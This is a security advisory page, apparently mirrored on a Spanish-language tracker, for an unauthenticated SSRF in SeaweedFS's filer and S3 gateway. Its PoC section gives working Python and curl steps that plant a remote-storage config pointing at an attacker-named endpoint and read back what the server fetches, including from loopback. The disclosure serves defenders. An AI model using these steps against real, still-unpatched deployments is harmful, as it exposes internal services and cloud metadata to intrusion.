GHSA-CW34-7FM4-63G6
Unauthenticated SSRF via unguarded remote-storage callers in filer and S3 gateway
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CW34-7FM4-63G6 divulgada · CVSS 9.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
Two callers of `remote_storage.GetRemoteStorage` — `streamFromRemote` (filer, port 8888) and `openRemoteStream` (S3 gateway, port 8333) — build a remote S3 client from an attacker-supplied endpoint with none of the validation added for CVE-2026-73080, then stream the fetched bytes back to the requester. On a stock deployment the `RemoteConf` holding that endpoint is writable without a credential, giving an unauthenticated attacker SSRF with full response read-back — the primitive patched for the volume server only.
### Details
Both sinks call the bare builder:
// weed/server/filer_server_handlers_read.go:289 (streamFromRemote)
storageConf, remoteLocation, err := fs.resolveMountedRemote(ctx, dir, name)
client, err := remote_storage.GetRemoteStorage(storageConf) // no validation, no guarded dialer`openRemoteStream` (`weed/s3api/s3api_object_handlers.go:3336`) is identical. Compare the volume server's caller of the same builder, patched for CVE-2026-73080:
// weed/server/volume_grpc_remote.go:376-388
if endpoint, makeClient, ok := guardedRemoteClient(remoteConf); ok && !vs.AllowUntrustedRemoteEndpoints {
if validateErr := validateRemoteEndpoint(ctx, endpoint); validateErr != nil { ... }
client, getClientErr = makeClient(newGuardedHTTPClient(endpoint)) // rebinding-safe
}- Neither `validateRemoteEndpoint` nor `newGuardedHTTPClient` is reachable from either caller above.
- `storageConf` is resolved from `/etc/remote/<name>.conf` and `/etc/remote/mount.mapping` — ordinary filer entries.
- The write handler treats `/etc` as a storage hint only (`filer_server_handlers_write.go:131`, `so.SaveInside = true`), with no path ACL; the filer's gRPC `CreateEntry` carries no authentication at all.
- Precondition is the shipped default (no `-whiteList`, no `security.toml`) plus network reach to port 8888 alone — no other port, no credential, no client tooling.
### PoC
Stock `weed server -master -volume -filer -s3`, no `-whiteList`, no `security.toml`. Every request below goes to the filer's HTTP port (8888) only — no credential, no client binary, no gRPC. `ATTACKER` is a minimal HTTP server answering `ListObjectsV2` with one key, `secret.txt`, and serving a fixed marker string; it stands in for any endpoint the attacker names, and neither the key nor the marker exists on the filer.
The two config entries are a `remote_pb.RemoteConf` and a `remote_pb.RemoteStorageMapping`, written as ordinary files. Build them with stdlib Python — no `weed` tooling of any kind (`s3_region` must be set, or the SDK aborts with `MissingRegion` before it ever dials):
ENDPOINT = "http://ATTACKER:8000" # the endpoint the server will be made to dial
MOUNT, NAME, BUCKET = "/buckets/poc", "poc", "pocbucket"
def uv(n): # protobuf varint
o = b""
while True:
b = n & 0x7F; n >>= 7; o += bytes([b | (0x80 if n else 0)])
if not n: return o
def s(f, x): x = x.encode(); return bytes([f << 3 | 2]) + uv(len(x)) + x
def i(f, x): return bytes([f << 3]) + uv(x)
def m(f, x): return bytes([f << 3 | 2]) + uv(len(x)) + x
# RemoteConf: type=1 name=2 access_key=4 secret_key=5 region=6 endpoint=7 force_path_style=9
open("poc.conf", "wb").write(
s(1,"s3") + s(2,NAME) + s(4,"AKIAPOC") + s(5,"SECRETPOC")
+ s(6,"us-east-1") + s(7,ENDPOINT) + i(9,1))
# RemoteStorageMapping.mappings[MOUNT] = RemoteStorageLocation{name=1 bucket=2 path=3 ttl=4}
loc = s(1,NAME) + s(2,BUCKET) + s(3,"/") + i(4,5)
open("mount.mapping", "wb").write(m(1, s(1,MOUNT) + m(2,loc)))Plant them, and create the mount directory, with no credential:
$ curl -X POST -F file=@poc.conf http://TARGET:8888/etc/remote/poc.conf
{"name":"poc.conf"}
$ curl -X POST -F file=@/dev/null http://TARGET:8888/buckets/poc/.keep
$ curl -X POST -F file=@mount.mapping http://TARGET:8888/etc/remote/mount.mapping
{"name":"mount.mapping"}An anonymous listing now makes the filer perform the remote LIST and materialise the attacker endpoint's response as filer metadata:
$ curl -H 'Accept: application/json' http://TARGET:8888/buckets/poc/
{"Path":"/buckets/poc","Entries":[ ...,
{"FullPath":"/buckets/poc/secret.txt","FileSize":28,
"Remote":{"storage_name":"poc","remote_e_tag":"\"aaaa…\"","remote_size":28}}]}An anonymous read returns the bytes the server fetched, verbatim:
$ curl http://TARGET:8888/buckets/poc/secret.txt
SSRF-READBACK-PROOF-6c1f2a9dThe dial is the server's. `ATTACKER` is reachable only from the server's own network, never from the host issuing the curls, and its request log shows exactly the two fetches the filer made on their behalf:
GET /pocbucket?delimiter=%2F&list-type=2&prefix=
GET /pocbucket/secret.txtNo destination filtering. Repeating the same three POSTs with `s3_endpoint=http://127.0.0.1:9333`, the server dialed loopback and returned that internal service's own 404 — not the `remote endpoint %q resolves to loopback address` refusal the patched volume-server path raises for the same input:
W filer_lazy_remote_listing.go:164 maybeLazyListFromRemote: list /buckets/poc:
list directory name:"poc" bucket:"pocbucket" path:"/": NotFound: Not Found### Impact
An anonymous remote attacker on a default-configured filer or S3 gateway makes the server issue requests to any destination they choose and reads the response body. Cloud metadata (`169.254.169.254`) and RFC1918 hosts are reachable by the same mechanism — the destinations the CVE-2026-73080 fix enumerates and refuses on the volume-server path — but were not separately exercised, and that reach is stated as inference, not result.
Fix: route these callers through the same guarded builder the volume server now uses, so the deny-list and rebinding-safe dialer apply wherever a `RemoteConf` endpoint is dialed.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-cw34-7fm4-63g6Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
